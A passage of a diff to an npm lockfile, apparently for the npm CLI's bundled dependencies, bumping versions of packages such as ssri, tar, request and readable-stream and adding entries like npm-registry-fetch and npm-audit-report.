"2.0.1", "sorted-union-stream": "2.1.3", - "ssri": "5.2.4", + "ssri": "5.3.0", "strip-ansi": "4.0.0", - "tar": "4.4.0", + "tar": "4.4.2", "text-table": "0.2.0", + "tiny-relative-date": "1.3.0", "uid-number": "0.0.6", "umask": "1.1.0", "unique-filename": "1.1.0", "unpipe": "1.0.0", - "update-notifier": "2.3.0", + "update-notifier": "2.5.0", "uuid": "3.2.1", - "validate-npm-package-license": "3.0.1", + "validate-npm-package-license": "3.0.3", "validate-npm-package-name": "3.0.0", "which": "1.3.0", - "worker-farm": "1.5.4", + "worker-farm": "1.6.0", "wrappy": "1.0.2", "write-file-atomic": "2.3.0" }, @@ -6374,6 +6381,10 @@ "version": "3.5.1", "bundled": true }, + "byte-size": { + "version": "4.0.2", + "bundled": true + }, "cacache": { "version": "10.0.4", "bundled": true, @@ -6382,13 +6393,13 @@ "chownr": "1.0.1", "glob": "7.1.2", "graceful-fs": "4.1.11", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "mississippi": "2.0.0", "mkdirp": "0.5.1", "move-concurrently": "1.0.1", "promise-inflight": "1.0.1", "rimraf": "2.6.2", - "ssri": "5.2.4", + "ssri": "5.3.0", "unique-filename": "1.1.0", "y18n": "4.0.0" }, @@ -6414,7 +6425,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -6430,7 +6441,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -6452,7 +6463,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -6460,7 +6471,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -6469,7 +6480,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -6513,7 +6524,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -6539,6 +6550,50 @@ "version": "1.0.1", "bundled": true }, + "cli-columns": { + "version": "3.1.2", + "bundled": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + }, + "strip-ansi": { + "version": "4.0.0", + "bundled": true, + "requires": { + "ansi-regex": "3.0.0" + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, "cli-table2": { "version": "0.2.0", "bundled": true, @@ -6717,7 +6772,7 @@ "graceful-fs": "4.1.11", "iferr": "0.1.5", "imurmurhash": "0.1.4", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "gentle-fs": { @@ -6824,12 +6879,12 @@ "bundled": true, "requires": { "glob": "7.1.2", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "promzard": "0.3.0", "read": "1.0.7", "read-package-json": "2.0.13", "semver": "5.5.0", - "validate-npm-package-license": "3.0.1", + "validate-npm-package-license": "3.0.3", "validate-npm-package-name": "3.0.0" }, "dependencies": { @@ -6856,7 +6911,7 @@ } }, "json-parse-better-errors": { - "version": "1.0.1", + "version": "1.0.2", "bundled": true }, "lazy-property": { @@ -6864,26 +6919,26 @@ "bundled": true }, "libcipm": { - "version": "1.6.0", + "version": "1.6.2", "bundled": true, "requires": { "bin-links": "1.1.0", "bluebird": "3.5.1", "find-npm-prefix": "1.0.2", "graceful-fs": "4.1.11", - "lock-verify": "2.0.0", + "lock-verify": "2.0.1", "npm-lifecycle": "2.0.1", "npm-logical-tree": "1.2.1", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "pacote": "7.6.1", "protoduck": "5.0.0", "read-package-json": "2.0.13", "rimraf": "2.6.2", - "worker-farm": "1.5.4" + "worker-farm": "1.6.0" }, "dependencies": { "lock-verify": { - "version": "2.0.0", + "version": "2.0.1", "bundled": true, "requires": { "npm-package-arg": "5.1.2", @@ -6918,45 +6973,18 @@ "bundled": true } } - }, - "worker-farm": { - "version": "1.5.4", - "bundled": true, - "requires": { - "errno": "0.1.7", - "xtend": "4.0.1" - }, - "dependencies": { - "errno": { - "version": "0.1.7", - "bundled": true, - "requires": { - "prr": "1.0.1" - }, - "dependencies": { - "prr": { - "version": "1.0.1", - "bundled": true - } - } - }, - "xtend": { - "version": "4.0.1", - "bundled": true - } - } } } }, "libnpx": { - "version": "10.0.1", + "version": "10.2.0", "bundled": true, "requires": { "dotenv": "5.0.1", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "rimraf": "2.6.2", - "safe-buffer": "5.1.1", - "update-notifier": "2.3.0", + "safe-buffer": "5.1.2", + "update-notifier": "2.5.0", "which": "1.3.0", "y18n": "4.0.0", "yargs": "11.0.0" @@ -6974,7 +7002,7 @@ "version": "11.0.0", "bundled": true, "requires": { - "cliui": "4.0.0", + "cliui": "4.1.0", "decamelize": "1.2.0", "find-up": "2.1.0", "get-caller-file": "1.0.2", @@ -6989,7 +7017,7 @@ }, "dependencies": { "cliui": { - "version": "4.0.0", + "version": "4.1.0", "bundled": true, "requires": { "string-width": "2.1.1", @@ -7129,7 +7157,7 @@ "version": "5.1.0", "bundled": true, "requires": { - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "shebang-command": "1.2.0", "which": "1.3.0" }, @@ -7263,9 +7291,26 @@ } } }, + "lock-verify": { + "version": "2.0.2", + "bundled": true, + "requires": { + "npm-package-arg": "6.1.0", + "semver": "5.5.0" + } + }, "lockfile": { - "version": "1.0.3", - "bundled": true + "version": "1.0.4", + "bundled": true, + "requires": { + "signal-exit": "3.0.2" + }, + "dependencies": { + "signal-exit": { + "version": "3.0.2", + "bundled": true + } + } }, "lodash._baseindexof": { "version": "3.1.0", @@ -7329,7 +7374,7 @@ "bundled": true }, "lru-cache": { - "version": "4.1.1", + "version": "4.1.2", "bundled": true, "requires": { "pseudomap": "1.0.2", @@ -7371,7 +7416,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -7387,7 +7432,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -7409,7 +7454,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -7417,7 +7462,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -7426,7 +7471,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -7480,7 +7525,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -7538,6 +7583,93 @@ } } }, + "node-gyp": { + "version": "3.6.2", + "bundled": true, + "requires": { + "fstream": "1.0.11", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "osenv": "0.1.5", + "request": "2.85.0", + "rimraf": "2.6.2", + "semver": "5.3.0", + "tar": "2.2.1", + "which": "1.3.0" + }, + "dependencies": { + "fstream": { + "version": "1.0.11", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.6.2" + } + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "nopt": { + "version": "3.0.6", + "bundled": true, + "requires": { + "abbrev": "1.1.1" + } + }, + "semver": { + "version": "5.3.0", + "bundled": true + }, + "tar": { + "version": "2.2.1", + "bundled": true, + "requires": { + "block-stream": "0.0.9", + "fstream": "1.0.11", + "inherits": "2.0.3" + }, + "dependencies": { + "block-stream": { + "version": "0.0.9", + "bundled": true, + "requires": { + "inherits": "2.0.3" + } + } + } + } + } + }, "nopt": { "version": "4.0.1", "bundled": true, @@ -7553,7 +7685,7 @@ "hosted-git-info": "2.6.0", "is-builtin-module": "1.0.0", "semver": "5.5.0", - "validate-npm-package-license": "3.0.1" + "validate-npm-package-license": "3.0.3" }, "dependencies": { "is-builtin-module": { @@ -7571,6 +7703,20 @@ } } }, + "npm-audit-report": { + "version": "1.0.9", + "bundled": true, + "requires": { + "cli-table2": "0.2.0", + "console-control-strings": "1.1.0" + }, + "dependencies": { + "console-control-strings": { + "version": "1.1.0", + "bundled": true + } + } + }, "npm-cache-filename": { "version": "1.0.2", "bundled": true @@ -7600,93 +7746,6 @@ "version": "5.0.0", "bundled": true }, - "node-gyp": { - "version": "3.6.2", - "bundled": true, - "requires": { - "fstream": "1.0.11", - "glob": "7.1.2", - "graceful-fs": "4.1.11", - "minimatch": "3.0.4", - "mkdirp": "0.5.1", - "nopt": "3.0.6", - "npmlog": "4.1.2", - "osenv": "0.1.5", - "request": "2.83.0", - "rimraf": "2.6.2", - "semver": "5.3.0", - "tar": "2.2.1", - "which": "1.3.0" - }, - "dependencies": { - "fstream": { - "version": "1.0.11", - "bundled": true, - "requires": { - "graceful-fs": "4.1.11", - "inherits": "2.0.3", - "mkdirp": "0.5.1", - "rimraf": "2.6.2" - } - }, - "minimatch": { - "version": "3.0.4", - "bundled": true, - "requires": { - "brace-expansion": "1.1.11" - }, - "dependencies": { - "brace-expansion": { - "version": "1.1.11", - "bundled": true, - "requires": { - "balanced-match": "1.0.0", - "concat-map": "0.0.1" - }, - "dependencies": { - "balanced-match": { - "version": "1.0.0", - "bundled": true - }, - "concat-map": { - "version": "0.0.1", - "bundled": true - } - } - } - } - }, - "nopt": { - "version": "3.0.6", - "bundled": true, - "requires": { - "abbrev": "1.1.1" - } - }, - "semver": { - "version": "5.3.0", - "bundled": true - }, - "tar": { - "version": "2.2.1", - "bundled": true, - "requires": { - "block-stream": "0.0.9", - "fstream": "1.0.11", - "inherits": "2.0.3" - }, - "dependencies": { - "block-stream": { - "version": "0.0.9", - "bundled": true, - "requires": { - "inherits": "2.0.3" - } - } - } - } - } - }, "resolve-from": { "version": "4.0.0", "bundled": true @@ -7694,7 +7753,7 @@ } }, "npm-package-arg": { - "version": "6.0.0", + "version": "6.1.0", "bundled": true, "requires": { "hosted-git-info": "2.6.0", @@ -7770,12 +7829,12 @@ "http-cache-semantics": "3.8.1", "http-proxy-agent": "2.0.0", "https-proxy-agent": "2.1.1", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "mississippi": "1.3.1", "node-fetch-npm": "2.0.2", "promise-retry": "1.1.1", "socks-proxy-agent": "3.0.1", - "ssri": "5.2.4" + "ssri": "5.3.0" }, "dependencies": { "agentkeepalive": { @@ -7915,7 +7974,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -7931,7 +7990,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -7953,7 +8012,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -7961,7 +8020,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -7970,7 +8029,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -8024,7 +8083,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -8042,7 +8101,7 @@ "requires": { "encoding": "0.1.12", "json-parse-better-errors": "1.0.1", - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" }, "dependencies": { "encoding": { @@ -8075,6 +8134,10 @@ "err-code": { "version": "1.1.2", "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true } } }, @@ -8139,15 +8202,15 @@ "concat-stream": "1.6.1", "graceful-fs": "4.1.11", "normalize-package-data": "2.4.0", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "npmlog": "4.1.2", "once": "1.4.0", - "request": "2.83.0", + "request": "2.85.0", "retry": "0.10.1", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "semver": "5.5.0", "slide": "1.1.6", - "ssri": "5.2.4" + "ssri": "5.3.0" }, "dependencies": { "concat-stream": { @@ -8155,7 +8218,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -8164,6 +8227,264 @@ "bundled": true } } + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "npm-registry-fetch": { + "version": "1.1.0", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "figgy-pudding": "2.0.1", + "lru-cache": "4.1.2", + "make-fetch-happen": "3.0.0", + "npm-package-arg": "6.1.0", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "figgy-pudding": { + "version": "2.0.1", + "bundled": true + }, + "make-fetch-happen": { + "version": "3.0.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.4.1", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.1", + "lru-cache": "4.1.2", + "mississippi": "3.0.0", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.3.0" + }, + "dependencies": { + "agentkeepalive": { + "version": "3.4.1", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.1.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.2.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.2", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.21" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.21", + "bundled": true, + "requires": { + "safer-buffer": "2.1.2" + }, + "dependencies": { + "safer-buffer": { + "version": "2.1.2", + "bundled": true + } + } + } + } + } + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } } } }, @@ -8186,7 +8507,7 @@ "bundled": true, "requires": { "delegates": "1.0.0", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "delegates": { @@ -8314,13 +8635,13 @@ "cacache": "10.0.4", "get-stream": "3.0.0", "glob": "7.1.2", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "make-fetch-happen": "2.6.0", "minimatch": "3.0.4", "mississippi": "3.0.0", "mkdirp": "0.5.1", "normalize-package-data": "2.4.0", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "npm-packlist": "1.1.10", "npm-pick-manifest": "2.1.0", "osenv": "0.1.5", @@ -8328,10 +8649,10 @@ "promise-retry": "1.1.1", "protoduck": "5.0.0", "rimraf": "2.6.2", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "semver": "5.5.0", - "ssri": "5.2.4", - "tar": "4.4.0", + "ssri": "5.3.0", + "tar": "4.4.2", "unique-filename": "1.1.0", "which": "1.3.0" }, @@ -8349,12 +8670,12 @@ "http-cache-semantics": "3.8.1", "http-proxy-agent": "2.1.0", "https-proxy-agent": "2.2.0", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "mississippi": "1.3.1", "node-fetch-npm": "2.0.2", "promise-retry": "1.1.1", "socks-proxy-agent": "3.0.1", - "ssri": "5.2.4" + "ssri": "5.3.0" }, "dependencies": { "agentkeepalive": { @@ -8494,7 +8815,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -8510,7 +8831,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -8532,7 +8853,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -8540,7 +8861,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -8549,7 +8870,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -8603,7 +8924,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -8621,7 +8942,7 @@ "requires": { "encoding": "0.1.12", "json-parse-better-errors": "1.0.1", - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" }, "dependencies": { "encoding": { @@ -8726,7 +9047,7 @@ "version": "2.1.0", "bundled": true, "requires": { - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "semver": "5.5.0" } }, @@ -8741,6 +9062,10 @@ "err-code": { "version": "1.1.2", "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true } } }, @@ -8768,28 +9093,23 @@ "bundled": true }, "qrcode-terminal": { - "version": "0.11.0", + "version": "0.12.0", "bundled": true }, "query-string": { - "version": "5.1.0", + "version": "6.1.0", "bundled": true, "requires": { "decode-uri-component": "0.2.0", - "object-assign": "4.1.1", - "strict-uri-encode": "1.1.0" + "strict-uri-encode": "2.0.0" }, "dependencies": { "decode-uri-component": { "version": "0.2.0", "bundled": true }, - "object-assign": { - "version": "4.1.1", - "bundled": true - }, "strict-uri-encode": { - "version": "1.1.0", + "version": "2.0.0", "bundled": true } } @@ -8859,7 +9179,7 @@ } }, "read-package-tree": { - "version": "5.1.6", + "version": "5.2.1", "bundled": true, "requires": { "debuglog": "1.0.1", @@ -8870,15 +9190,15 @@ } }, "readable-stream": { - "version": "2.3.5", + "version": "2.3.6", "bundled": true, "requires": { "core-util-is": "1.0.2", "inherits": "2.0.3", "isarray": "1.0.0", "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", "util-deprecate": "1.0.2" }, "dependencies": { @@ -8895,10 +9215,10 @@ "bundled": true }, "string_decoder": { - "version": "1.0.3", + "version": "1.1.1", "bundled": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } }, "util-deprecate": { @@ -8918,29 +9238,29 @@ } }, "request": { - "version": "2.83.0", + "version": "2.85.0", "bundled": true, "requires": { "aws-sign2": "0.7.0", "aws4": "1.6.0", "caseless": "0.12.0", - "combined-stream": "1.0.5", + "combined-stream": "1.0.6", "extend": "3.0.1", "forever-agent": "0.6.1", - "form-data": "2.3.1", + "form-data": "2.3.2", "har-validator": "5.0.3", "hawk": "6.0.2", "http-signature": "1.2.0", "is-typedarray": "1.0.0", "isstream": "0.1.2", "json-stringify-safe": "5.0.1", - "mime-types": "2.1.17", + "mime-types": "2.1.18", "oauth-sign": "0.8.2", "performance-now": "2.1.0", "qs": "6.5.1", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "stringstream": "0.0.5", - "tough-cookie": "2.3.3", + "tough-cookie": "2.3.4", "tunnel-agent": "0.6.0", "uuid": "3.2.1" }, @@ -8958,7 +9278,7 @@ "bundled": true }, "combined-stream": { - "version": "1.0.5", + "version": "1.0.6", "bundled": true, "requires": { "delayed-stream": "1.0.0" @@ -8979,12 +9299,12 @@ "bundled": true }, "form-data": { - "version": "2.3.1", + "version": "2.3.2", "bundled": true, "requires": { "asynckit": "0.4.0", - "combined-stream": "1.0.5", - "mime-types": "2.1.17" + "combined-stream": "1.0.6", + "mime-types": "2.1.18" }, "dependencies": { "asynckit": { @@ -8997,18 +9317,18 @@ "version": "5.0.3", "bundled": true, "requires": { - "ajv": "5.2.3", + "ajv": "5.5.2", "har-schema": "2.0.0" }, "dependencies": { "ajv": { - "version": "5.2.3", + "version": "5.5.2", "bundled": true, "requires": { "co": "4.6.0", - "fast-deep-equal": "1.0.0", - "json-schema-traverse": "0.3.1", - "json-stable-stringify": "1.0.1" + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" }, "dependencies": { "co": { @@ -9016,25 +9336,16 @@ "bundled": true }, "fast-deep-equal": { - "version": "1.0.0", + "version": "1.1.0", + "bundled": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", "bundled": true }, "json-schema-traverse": { "version": "0.3.1", "bundled": true - }, - "json-stable-stringify": { - "version": "1.0.1", - "bundled": true, - "requires": { - "jsonify": "0.0.0" - }, - "dependencies": { - "jsonify": { - "version": "0.0.0", - "bundled": true - } - } } } }, @@ -9050,15 +9361,15 @@ "requires": { "boom": "4.3.1", "cryptiles": "3.1.2", - "hoek": "4.2.0", - "sntp": "2.0.2" + "hoek": "4.2.1", + "sntp": "2.1.0" }, "dependencies": { "boom": { "version": "4.3.1", "bundled": true, "requires": { - "hoek": "4.2.0" + "hoek": "4.2.1" } }, "cryptiles": { @@ -9072,20 +9383,20 @@ "version": "5.2.0", "bundled": true, "requires": { - "hoek": "4.2.0" + "hoek": "4.2.1" } } } }, "hoek": { - "version": "4.2.0", + "version": "4.2.1", "bundled": true }, "sntp": { - "version": "2.0.2", + "version": "2.1.0", "bundled": true, "requires": { - "hoek": "4.2.0" + "hoek": "4.2.1" } } } @@ -9096,7 +9407,7 @@ "requires": { "assert-plus": "1.0.0", "jsprim": "1.4.1", - "sshpk": "1.13.1" + "sshpk": "1.14.1" }, "dependencies": { "assert-plus": { @@ -9139,7 +9450,7 @@ } }, "sshpk": { - "version": "1.13.1", + "version": "1.14.1", "bundled": true, "requires": { "asn1": "0.2.3", @@ -9213,14 +9524,14 @@ "bundled": true }, "mime-types": { - "version": "2.1.17", + "version": "2.1.18", "bundled": true, "requires": { - "mime-db": "1.30.0" + "mime-db": "1.33.0" }, "dependencies": { "mime-db": { - "version": "1.30.0", + "version": "1.33.0", "bundled": true } } @@ -9242,7 +9553,7 @@ "bundled": true }, "tough-cookie": { - "version": "2.3.3", + "version": "2.3.4", "bundled": true, "requires": { "punycode": "1.4.1" @@ -9258,13 +9569,13 @@ "version": "0.6.0", "bundled": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } } } }, "retry": { - "version": "0.10.1", + "version": "0.12.0", "bundled": true }, "rimraf": { @@ -9275,7 +9586,7 @@ } }, "safe-buffer": { - "version": "5.1.1", + "version": "5.1.2", "bundled": true }, "semver": { @@ -9287,7 +9598,7 @@ "bundled": true, "requires": { "graceful-fs": "4.1.11", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "slide": { @@ -9344,7 +9655,7 @@ "version": "1.2.0", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -9357,10 +9668,10 @@ } }, "ssri": { - "version": "5.2.4", + "version": "5.3.0", "bundled": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } }, "strip-ansi": { @@ -9377,14 +9688,15 @@ } }, "tar": { - "version": "4.4.0", + "version": "4.4.2", "bundled": true, "requires": { "chownr": "1.0.1", "fs-minipass": "1.2.5", - "minipass": "2.2.1", + "minipass": "2.2.4", "minizlib": "1.1.0", "mkdirp": "0.5.1", + "safe-buffer": "5.1.2", "yallist": "3.0.2" }, "dependencies": { @@ -9392,13 +9704,14 @@ "version": "1.2.5", "bundled": true, "requires": { - "minipass": "2.2.1" + "minipass": "2.2.4" } }, "minipass": { - "version": "2.2.1", + "version": "2.2.4", "bundled": true, "requires": { + "safe-buffer": "5.1.2", "yallist": "3.0.2" } }, @@ -9406,9 +9719,13 @@ "version": "1.1.0", "bundled": true, "requires": { - "minipass": "2.2.1" + "minipass": "2.2.4" } }, + "safe-buffer": { + "version": "5.1.2", + "bundled": true + }, "yallist": { "version": "3.0.2", "bundled": true @@ -9419,6 +9736,10 @@ "version": "0.2.0", "bundled": true }, + "tiny-relative-date": { + "version": "1.3.0", + "bundled": true + }, "uid-number": { "version": "0.0.6", "bundled": true @@ -9448,13 +9769,14 @@ "bundled": true }, "update-notifier": { - "version": "2.3.0", + "version": "2.5.0", "bundled": true, "requires": { - "boxen": "1.2.1", - "chalk": "2.1.0", - "configstore": "3.1.1", + "boxen": "1.3.0", + "chalk": "2.4.1", + "configstore": "3.1.2", "import-lazy": "2.1.0", + "is-ci": "1.1.0", "is-installed-globally": "0.1.0", "is-npm": "1.0.0", "latest-version": "3.1.0", @@ -9463,16 +9785,16 @@ }, "dependencies": { "boxen": { - "version": "1.2.1", + "version": "1.3.0", "bundled": true, "requires": { "ansi-align": "2.0.0", "camelcase": "4.1.0", - "chalk": "2.1.0", + "chalk": "2.4.1", "cli-boxes": "1.0.0", "string-width": "2.1.1", "term-size": "1.2.0", - "widest-line": "1.0.0" + "widest-line": "2.0.0" }, "dependencies": { "ansi-align": { @@ -9528,7 +9850,7 @@ "version": "5.1.0", "bundled": true, "requires": { - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "shebang-command": "1.2.0", "which": "1.3.0" }, @@ -9586,75 +9908,32 @@ } }, "widest-line": { - "version": "1.0.0", + "version": "2.0.0", "bundled": true, "requires": { - "string-width": "1.0.2" - }, - "dependencies": { - "string-width": { - "version": "1.0.2", - "bundled": true, - "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" - }, - "dependencies": { - "code-point-at": { - "version": "1.1.0", - "bundled": true - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "bundled": true, - "requires": { - "number-is-nan": "1.0.1" - }, - 